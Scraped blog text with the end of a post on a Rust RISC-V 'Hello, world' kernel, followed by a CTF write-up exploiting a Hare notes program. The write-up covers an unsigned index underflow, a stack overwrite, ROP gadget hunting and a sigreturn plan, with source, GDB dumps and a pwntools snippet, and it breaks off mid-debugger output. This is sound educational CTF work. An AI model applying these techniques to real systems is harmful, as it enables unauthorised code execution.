needed to have assembly code initialize things like the stack pointer before entering any Rust function. Therefore, I moved the assembly code out of the _start function into a separate ELF section, and I modified the linker script to make sure that the section is always the first one.\nRunning Rust Code Now that I have output, my next step was to print &ldquo;Hello, world!&rdquo; using Rust. I named the section containing the initial assembly code .head.text, and I put it in a file called head.S following the Linux kernel:\n.pushsection .head.text, &#34;ax&#34; .global _start _start: .option push .option norelax la gp, __global_pointer$ .option pop li sp, 0x80400000 tail main .popsection In RISC-V, the gp (global pointer) register is set to an address near frequently-used global variables so that they can be accessed faster through this register. Here I initialized it to the address of the __global_pointer$ symbol, which I defined in the linker script. I somewhat arbitrarily initialized the stack pointer to 0x80400000 for now and properly allocated space for the stack later. After initializing gp and sp, the code jumps to the Rust main function.\nMy main.rs file now looks like this:\n#![no_std] #![no_main] mod paging; mod sbi; use core::arch::global_asm; use core::ffi::c_int; use core::panic::PanicInfo; global_asm!(include_str!(&#34;head.S&#34;), options(raw)); #[no_mangle] pub extern &#34;C&#34; fn main() -&gt; ! { for c in &#34;Hello, world!\\n&#34;.as_bytes() { sbi::console_putchar(*c as c_int); } \/\/ Shutdown the system. sbi::system_reset(0, 0); loop {} } #[panic_handler] fn panic(_info: &amp;PanicInfo) -&gt; ! { loop {} } I pulled in the head.S file with the global_asm! macro, which is much more convenient than linking it separately since I don&rsquo;t have to mess with the Rust build process. My main function just loops over the bytes in &ldquo;Hello, world!&rdquo; and outputs them using an SBI wrapper function that I defined in another module. It also calls the SBI function that shuts down the system so that I don&rsquo;t have to manually stop QEMU every time.\nThe sbi.rs file contains the code that calls SBI functions using inline assembly:\nuse core::arch::asm; use core::ffi::{c_int, c_long}; const EID_CONSOLE_PUTCHAR: i32 = 0x01; const EID_SYSTEM_RESET: i32 = 0x53525354; pub struct Sbiret { pub error: c_long, pub value: c_long, } pub fn console_putchar(ch: c_int) -&gt; c_long { let ret; unsafe { asm!( &#34;ecall&#34;, in(&#34;a7&#34;) EID_CONSOLE_PUTCHAR, in(&#34;a0&#34;) ch, lateout(&#34;a0&#34;) ret, options(nomem, preserves_flags, nostack), ); } ret } pub fn system_reset(reset_type: u32, reset_reason: u32) -&gt; Sbiret { let error; let value; unsafe { asm!( &#34;ecall&#34;, in(&#34;a7&#34;) EID_SYSTEM_RESET, in(&#34;a6&#34;) 0, in(&#34;a0&#34;) reset_type, in(&#34;a1&#34;) reset_reason, lateout(&#34;a0&#34;) error, lateout(&#34;a1&#34;) value, options(nomem, preserves_flags, nostack), ); } Sbiret { error, value } } Now I have a kernel that prints &ldquo;Hello, world!&rdquo;:\nConclusion This is by far the most difficult &ldquo;Hello, world!&rdquo; program that I&rsquo;ve ever written. I spent a lot of time on research, and after I started writing code it took me three whole days to get the output working. In the next post, I will be writing about how I initialized paging and enabled the memory management unit. Thanks for reading!\n","permalink":"https:\/\/www.alexyzhang.dev\/posts\/os-project\/hello-world\/","summary":"Writing a RISC-V &ldquo;Hello, World!&rdquo; kernel in Rust","title":"OS Project Chapter 1: Hello, World!"},{"content":"The Challenge Another year, another quirky language to pwn\nAuthor: clubby789\nWe&rsquo;re given a static binary and the following source code in a file named main.ha:\nuse fmt; use bufio; use bytes; use os; use strings; use unix::signal; const bufsz: u8 = 8; type note = struct { title: [32]u8, content: [128]u8, init: bool, }; fn ptr_forward(p: *u8) void = { if (*p == bufsz - 1) { fmt::println(&#34;error: out of bounds seek&#34;)!; } else { *p += 1; }; return; }; fn ptr_back(p: *u8) void = { if (*p - 1 &lt; 0) { fmt::println(&#34;error: out of bounds seek&#34;)!; } else { *p -= 1; }; return; }; fn note_add(note: *note) void = { fmt::print(&#34;enter your note title: &#34;)!; bufio::flush(os::stdout)!; let title = bufio::scanline(os::stdin)! as []u8; let sz = if (len(title) &gt;= len(note.title)) len(note.title) else len(title); note.title[..sz] = title[..sz]; free(title); fmt::print(&#34;enter your note content: &#34;)!; bufio::flush(os::stdout)!; let content = bufio::scanline(os::stdin)! as []u8; sz = if (len(content) &gt;= len(note.content)) len(note.content) else len(content); note.content[..sz] = content[..sz]; free(content); note.init = true; }; fn note_delete(note: *note) void = { if (!note.init) { fmt::println(&#34;error: no note at this location&#34;)!; return; }; bytes::zero(note.title); bytes::zero(note.content); note.init = false; return; }; fn note_read(note: *note) void = { if (!note.init) { fmt::println(&#34;error: no note at this location&#34;)!; return; }; fmt::printfln(&#34;title: {}\\ncontent: {}&#34;, strings::fromutf8_unsafe(note.title), strings::fromutf8_unsafe(note.content) )!; return; }; fn handler(sig: int, info: *signal::siginfo, ucontext: *void) void = { fmt::println(&#34;goodbye :)&#34;)!; os::exit(1); }; export fn main() void = { signal::handle(signal::SIGINT, &amp;handler); let idx: u8 = 0; let opt: []u8 = []; let notes: [8]note = [ note { title = [0...], content = [0...], init = false}... ]; let notep: *[*]note = &amp;notes; assert(bufsz == len(notes)); for (true) { fmt::printf( &#34;1) Move note pointer forward 2) Move note pointer backward 3) Add note 4) Delete note 5) Read note 6) Exit &gt; &#34;)!; bufio::flush(os::stdout)!; opt = bufio::scanline(os::stdin)! as []u8; defer free(opt); switch (strings::fromutf8(opt)!) { case &#34;1&#34; =&gt; ptr_forward(&amp;idx); case &#34;2&#34; =&gt; ptr_back(&amp;idx); case &#34;3&#34; =&gt; note_add(&amp;notep[idx]); case &#34;4&#34; =&gt; note_delete(&amp;notep[idx]); case &#34;5&#34; =&gt; note_read(&amp;notep[idx]); case &#34;6&#34; =&gt; break; case =&gt; fmt::println(&#34;Invalid option&#34;)!; }; }; }; Vim detected the file type as some language called Hare. It looks kind of like Rust and it was pretty easy to read so I didn&rsquo;t bother looking at the Hare documentation. The challenge also provided a Dockerfile which I didn&rsquo;t end up needing.\nVulnerability This seems to be a program for managing notes. Each note contains a title and content stored in fixed-size arrays, and the notes are stored in an array on the stack. While reading through the code, I noticed that the if (*p - 1 &lt; 0) check is useless since *p - 1 is unsigned and can never be negative. We can therefore get the current note index to wrap around to 255 by decrementing it when it is 0. I tried doing this and got a segfault when adding a new note, indicating that we can overwrite stack memory after the array:\ngef\u27a4 r Starting program: \/home\/alex\/harem-scarem\/harem This GDB supports auto-downloading debuginfo from the following URLs: &lt;https:\/\/debuginfod.fedoraproject.org\/&gt; Debuginfod has been disabled. To make this setting permanent, add &apos;set debuginfod enabled off&apos; to .gdbinit. 1) Move note pointer forward 2) Move note pointer backward 3) Add note 4) Delete note 5) Read note 6) Exit &gt; 2 1) Move note pointer forward 2) Move note pointer backward 3) Add note 4) Delete note 5) Read note 6) Exit &gt; 3 enter your note title: foo Program received signal SIGSEGV, Segmentation fault. rt.memmove () at \/tmp\/dcd1030ff3516291\/temp.rt.1.s:174 174 \/tmp\/dcd1030ff3516291\/temp.rt.1.s: No such file or directory. [ Legend: Modified register | Code | Heap | Stack | String ] \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500 registers \u2500\u2500\u2500\u2500 $rax : 0x0 $rbx : 0x800000007c57 $rcx : 0x6f $rdx : 0x3 $rsp : 0x00007fffffffda20 \u2192 0x00007fffffffdbe0 \u2192 0x00007fffffffe270 \u2192 0x00007fffffffe280 \u2192 0x00007fffffffe290 \u2192 0x0000000000000000 $rbp : 0x00007fffffffda20 \u2192 0x00007fffffffdbe0 \u2192 0x00007fffffffe270 \u2192 0x00007fffffffe280 \u2192 0x00007fffffffe290 \u2192 0x0000000000000000 $rsi : 0x00007ffff7ef9020 \u2192 0x00007ffff76f6f66 $rdi : 0x800000007c57 $rip : 0x0000000008015768 \u2192 &lt;rt[memmove]+75&gt; mov BYTE PTR [rdi+r8*1], cl $r8 : 0x2 $r9 : 0x1 $r10 : 0x20 $r11 : 0x216 $r12 : 0x00007ffff7ef9020 \u2192 0x00007ffff76f6f66 $r13 : 0x0 $r14 : 0x0 $r15 : 0x0 $eflags: [zero carry parity adjust sign trap INTERRUPT direction overflow RESUME virtualx86 identification] $cs: 0x33 $ss: 0x2b $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00 \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500 stack \u2500\u2500\u2500\u2500 0x00007fffffffda20\u2502+0x0000: 0x00007fffffffdbe0 \u2192 0x00007fffffffe270 \u2192 0x00007fffffffe280 \u2192 0x00007fffffffe290 \u2192 0x0000000000000000 \u2190 $rsp, $rbp 0x00007fffffffda28\u2502+0x0008: 0x000000000800144e \u2192 &lt;note_add+880&gt; mov rdi, r12 0x00007fffffffda30\u2502+0x0010: 0x0000000000000000 0x00007fffffffda38\u2502+0x0018: 0x0000000000000000 0x00007fffffffda40\u2502+0x0020: 0x00007fffffffdab0 \u2192 0x00007ffff7ef9020 \u2192 0x00007ffff76f6f66 0x00007fffffffda48\u2502+0x0028: 0x000000008d8f5fe7 0x00007fffffffda50\u2502+0x0030: 0x0000000000000017 0x00007fffffffda58\u2502+0x0038: 0x0000000008005dd9 \u2192 &lt;io[write]+271&gt; mov rcx, rax \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500 code:x86:64 \u2500\u2500\u2500\u2500 0x801575d &lt;rt[memmove]+64&gt; sub rcx, rax 0x8015760 &lt;rt[memmove]+67&gt; sub rcx, 0x1 0x8015764 &lt;rt[memmove]+71&gt; movzx ecx, BYTE PTR [rsi+rcx*1] \u2192 0x8015768 &lt;rt[memmove]+75&gt; mov BYTE PTR [rdi+r8*1], cl 0x801576c &lt;rt[memmove]+79&gt; add rax, 0x1 0x8015770 &lt;rt[memmove]+83&gt; jmp 0x8015748 &lt;rt.memmove+43&gt; 0x8015772 &lt;rt[memmove]+85&gt; mov eax, 0x0 0x8015777 &lt;rt[memmove]+90&gt; cmp rax, rdx 0x801577a &lt;rt[memmove]+93&gt; jae 0x8015789 &lt;rt.memmove+108&gt; \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500 threads \u2500\u2500\u2500\u2500 [#0] Id 1, Name: &quot;harem&quot;, stopped 0x8015768 in rt.memmove (), reason: SIGSEGV \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500 trace \u2500\u2500\u2500\u2500 [#0] 0x8015768 \u2192 rt.memmove() [#1] 0x800144e \u2192 note_add() [#2] 0x8000a54 \u2192 main() \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500 Exploitation checksec showed that PIE is disabled. It also said that there are RWX mappings for some reason but I didn&rsquo;t see any in GDB, so it looks like we have to use ROP.\n[alex@ctf harem-scarem]$ checksec harem [*] &apos;\/home\/alex\/harem-scarem\/harem&apos; Arch: amd64-64-little RELRO: No RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x7fff000) RWX: Has RWX segments gef\u27a4 vm [ Legend: Code | Heap | Stack ] Start End Offset Perm Path 0x0000000007fff000 0x000000000801b000 0x0000000000000000 r-x \/home\/alex\/harem-scarem\/harem 0x0000000080000000 0x0000000080007000 0x000000000001c000 rw- \/home\/alex\/harem-scarem\/harem 0x0000000080007000 0x0000000080010000 0x0000000000000000 rw- [heap] 0x00007ffff7ff9000 0x00007ffff7ffd000 0x0000000000000000 r-- [vvar] 0x00007ffff7ffd000 0x00007ffff7fff000 0x0000000000000000 r-x [vdso] 0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack] 0xffffffffff600000 0xffffffffff601000 0x0000000000000000 --x [vsyscall] Return Address First, I had to figure out how to overwrite the return address of main. I did this mostly by trial and error where I tried writing notes to various out-of-bounds note indices until I got a segfault on a ret instruction with rsp pointing to the contents of the note. I used a simple script like this to set the note index:\n#!\/usr\/bin\/env python3 from pwn import * exe = ELF(&#34;.\/harem&#34;) context.binary = exe r = process([exe.path]) gdb.attach(r) for _ in range(246): r.sendlineafter(b&#34;&gt; &#34;, b&#34;2&#34;) r.interactive() Then I used GEF&rsquo;s pattern command to find the offset in the note that corresponds to the return address:\n[*] Switching to interactive mode 1) Move note pointer forward 2) Move note pointer backward 3) Add note 4) Delete note 5) Read note 6) Exit &gt; $ 3 enter your note title: $ enter your note content: $ aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaabhaaaaaabiaaaaaabjaaaaaabkaaaaaablaaaaaabmaaaaaabnaaaaaaboaaaaaabpaaaaaabqaaaaaabraaaaaabsaaaaaabtaaaaaabuaaaaaabvaaaaaabwaaaaaabxaaaaaabyaaaaaabzaaaaaacbaaaaaaccaaaaaacdaaaaaaceaaaaaacfaaaaaacgaaaaaachaaaaaaciaaaaaacjaaaaaackaaaaaaclaaaaaacmaaaaaacnaaaaaacoaaaaaacpaaaaaacqaaaaaacraaaaaacsaaaaaactaaaaaacuaaaaaacvaaaaaacwaaaaaacxaaaaaacyaaaaaaczaaaaaadbaaaaaadcaaaaaaddaaaaaadeaaaaaadfaaaaaadgaaaaaadhaaaaaadiaaaaaadjaaaaaadkaaaaaadlaaaaaadmaaaaaadnaaaaaadoaaaaaadpaaaaaadqaaaaaadraaaaaadsaaaaaadtaaaaaaduaaaaaadvaaaaaadwaaaaaadxaaaaaadyaaaaaadzaaaaaaebaaaaaaecaaaaaaedaaaaaaeeaaaaaaefaaaaaaegaaaaaaehaaaaaaeiaaaaaaejaaaaaaekaaaaaaelaaaaaaemaaaaaaenaaaaaaeoaaaaaaepaaaaaaeqaaaaaaeraaaaaaesaaaaaaetaaaaaaeuaaaaaaevaaaaaaewaaaaaaexaaaaaaeyaaaaaaezaaaaaafbaaaaaafcaaaaaaf 1) Move note pointer forward 2) Move note pointer backward 3) Add note 4) Delete note 5) Read note 6) Exit &gt; $ 6 Program received signal SIGSEGV, Segmentation fault. main () at \/tmp\/3212512f44fd4eab\/temp..23.s:606 606 \/tmp\/3212512f44fd4eab\/temp..23.s: No such file or directory. [ Legend: Modified register | Code | Heap | Stack | String ] \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500 registers \u2500\u2500\u2500\u2500 $rax : 0x000000008000a8e0 \u2192 0x00007f85b16d5010 \u2192 0x00007f85b16d5020 \u2192 0x00007f85b16d5030 \u2192 0x00007f85b16d5040 \u2192 0x00007f85b16d5050 \u2192 0x00007f85b16d5060 \u2192 0x00007f85b16d5070 $rbx : 0x0 $rcx : 0x0 $rdx : 0x0 $rsp : 0x00007ffd9f22f468 \u2192 &quot;aadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaa[...]&quot; $rbp : 0x6161616161636161 (&quot;aacaaaaa&quot;?) $rsi : 0x8 $rdi : 0x00007f85b16d5010 \u2192 0x00007f85b16d5020 \u2192 0x00007f85b16d5030 \u2192 0x00007f85b16d5040 \u2192 0x00007f85b16d5050 \u2192 0x00007f85b16d5060 \u2192 0x00007f85b16d5070 \u2192 0x00007f85b16d5080 $rip : 0x00000000080009e3 \u2192 &lt;main+2516&gt; ret $r8 : 0x36 $r9 : 0x1 $r10 : 0x20 $r11 : 0x216 $r12 : 0x0 $r13 : 0x0 $r14 : 0x0 $r15 : 0x0 $eflags: [zero CARRY parity ADJUST SIGN trap INTERRUPT direction overflow RESUME virtualx86 identification] $cs: 0x33 $ss: 0x2b $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00 \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500 stack \u2500\u2500\u2500\u2500 0x00007ffd9f22f468\u2502+0x0000: &quot;aadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaa[...]&quot; \u2190 $rsp 0x00007ffd9f22f470\u2502+0x0008: &quot;aaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaa[...]&quot; 0x00007ffd9f22f478\u2502+0x0010: &quot;aafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaa[...]&quot; 0x00007ffd9f22f480\u2502+0x0018: &quot;aagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaa[...]&quot; 0x00007ffd9f22f488\u2502+0x0020: &quot;aahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaa[...]&quot; 0x00007ffd9f22f490\u2502+0x0028: &quot;aaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaa[...]&quot; 0x00007ffd9f22f498\u2502+0x0030: &quot;aajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaa[...]&quot; 0x00007ffd9f22f4a0\u2502+0x0038: &quot;aakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaa[...]&quot; \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500 code:x86:64 \u2500\u2500\u2500\u2500 0x80009d9 &lt;main+2506&gt; mov rdi, QWORD PTR [rbp-0x50] 0x80009dd &lt;main+2510&gt; call 0x80159b6 &lt;rt.free&gt; 0x80009e2 &lt;main+2515&gt; leave \u2192 0x80009e3 &lt;main+2516&gt; ret [!] Cannot disassemble from $PC \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500 threads \u2500\u2500\u2500\u2500 [#0] Id 1, Name: &quot;harem&quot;, stopped 0x80009e3 in main (), reason: SIGSEGV \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500 trace \u2500\u2500\u2500\u2500 [#0] 0x80009e3 \u2192 main() \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500 gef\u27a4 pattern search $rsp [+] Searching for &apos;6161646161616161&apos;\/&apos;6161616161646161&apos; with period=8 [+] Found at offset 22 (little-endian search) likely Gadgets Now that I could overwrite the return address, I looked at the available gadgets. There is a syscall gadget, but I didn&rsquo;t see any gadgets for controlling rdi, rsi, rdx, and rax:\n[alex@ctf harem-scarem]$ xgadget --reg-pop harem TARGET 0 - &apos;harem&apos;: ELF-X64, 0x00000008000000 entry, 111848\/1 executable bytes\/segments 0x000000080017d9: pop r12; pop rbx; leave; ret; 0x00000008001f94: pop r13; pop r12; pop rbx; leave; ret; 0x00000008001f95: pop rbp; pop r12; pop rbx; leave; ret; 0x00000008000f6d: pop rbx; leave; ret; 0x000000080017da: pop rsp; pop rbx; leave; ret; CONFIG [ search: Register-pop-only | x_match: none | max_len: 5 | syntax: Intel | regex_filter: none ] RESULT [ unique_gadgets: 5 | search_time: 12.8595ms | print_time: 2.368572ms ] Many of the gadgets had leave instructions which would mess up rsp, and the binary didn&rsquo;t contain a system function or a \/bin\/sh string, which I checked for using GEF&rsquo;s grep command.\nSigreturn At some point I remembered learning about sigreturn, which is a syscall that can be used to control all of the registers. It is normally used to return from signal handlers, and it restores the state of the registers from a structure on the top of the stack. If I can set eax to 0xf, the syscall number for sigreturn, then I can invoke sigreturn with a fake frame on the stack containing the register values that I want. I looked at the gadget list again and found a convenient sigreturn gadget:\n0x0000000801a4ac: mov eax, 0xf; syscall; Now I have control over all of the registers!\n\/bin\/sh What&rsquo;s missing now is a \/bin\/sh string in memory at some known address. I considered leaking a stack pointer with an out-of-bound read, but I couldn&rsquo;t find a stack pointer on the stack that was aligned with the start of the title or content of a note. While looking at the process&rsquo;s memory mappings, I decided to check if the input data passes through a buffer with a fixed address at some point. I had already tried entering a string and then searching for it in memory with GEF&rsquo;s grep command, but I realized that the beginning of the string might get overwritten when the buffer is reused or its heap chunk is freed. Therefore I tried adding some padding at the beginning of the string, and now it appears at a constant address even with ASLR on:\ngef\u27a4 r Starting program: \/home\/alex\/harem-scarem\/harem 1) Move note pointer forward 2) Move note pointer backward 3) Add note 4) Delete note 5) Read note 6) Exit &gt; 3 enter your note title: enter your note content: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaafoobar 1) Move note pointer forward 2) Move note pointer backward 3) Add note 4) Delete note 5) Read note 6) Exit &gt; 5 Breakpoint 1, note_read () at \/tmp\/3212512f44fd4eab\/temp..23.s:829 829\tin \/tmp\/3212512f44fd4eab\/temp..23.s [ Legend: Modified register | Code | Heap | Stack | String ] \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500 registers \u2500\u2500\u2500\u2500 $rax : 0x00007ffe18de23e8 \u2192 0x0000000000000000 $rbx : 0x0 $rcx : 0x0 $rdx : 0x00007f004682c010 \u2192 0x00007f004682c035 \u2192 0x000000000800007f \u2192 &lt;main+112&gt; add BYTE PTR [rax], al $rsp : 0x00007ffe18de23d8 \u2192 0x0000000008000a08 \u2192 &lt;main+2553&gt; jmp 0x8000a70 &lt;main+2657&gt; $rbp : 0x00007ffe18de2a60 \u2192 0x00007ffe18de2a70 \u2192 0x00007ffe18de2a80 \u2192 0x0000000000000000 $rsi : 0x0000000080000100 \u2192 0x0000000000000035 (&quot;5&quot;?) $rdi : 0x00007ffe18de23e8 \u2192 0x0000000000000000 $rip : 0x0000000008000cbf \u2192 &lt;note_read+0&gt; push rbp $r8 : 0x35 $r9 : 0x1 $r10 : 0x20 $r11 : 0x216 $r12 : 0x0 $r13 : 0x0 $r14 : 0x0 $r15 : 0x0 $eflags: [zero carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification] $cs: 0x33 $ss: 0x2b $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00 \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500 stack \u2500\u2500\u2500\u2500 0x00007ffe18de23d8\u2502+0x0000: 0x0000000008000a08 \u2192 &lt;main+2553&gt; jmp 0x8000a70 &lt;main+2657&gt;\t\u2190 $rsp 0x00007ffe18de23e0\u2502+0x0008: 0x0000000000000000 0x00007ffe18de23e8\u2502+0x0010: 0x0000000000000000\t\u2190 $rax, $rdi 0x00007ffe18de23f0\u2502+0x0018: 0x0000000000000000 0x00007ffe18de23f8\u2502+0x0020: 0x0000000000000000 0x00007ffe18de2400\u2502+0x0028: 0x0000000000000000 0x00007ffe18de2408\u2502+0x0030: &quot;aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaafoobar&quot; 0x00007ffe18de2410\u2502+0x0038: &quot;aaaaaaaaaaaaaaaaaaaaaaaaafoobar&quot; \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500 code:x86:64 \u2500\u2500\u2500\u2500 0x8000cb8 &lt;handler+196&gt; call 0x8009840 &lt;os.exit&gt; 0x8000cbd &lt;handler+201&gt; leave 0x8000cbe &lt;handler+202&gt; ret \u2192 0x8000cbf &lt;note_read+0&gt; push rbp 0x8000cc0 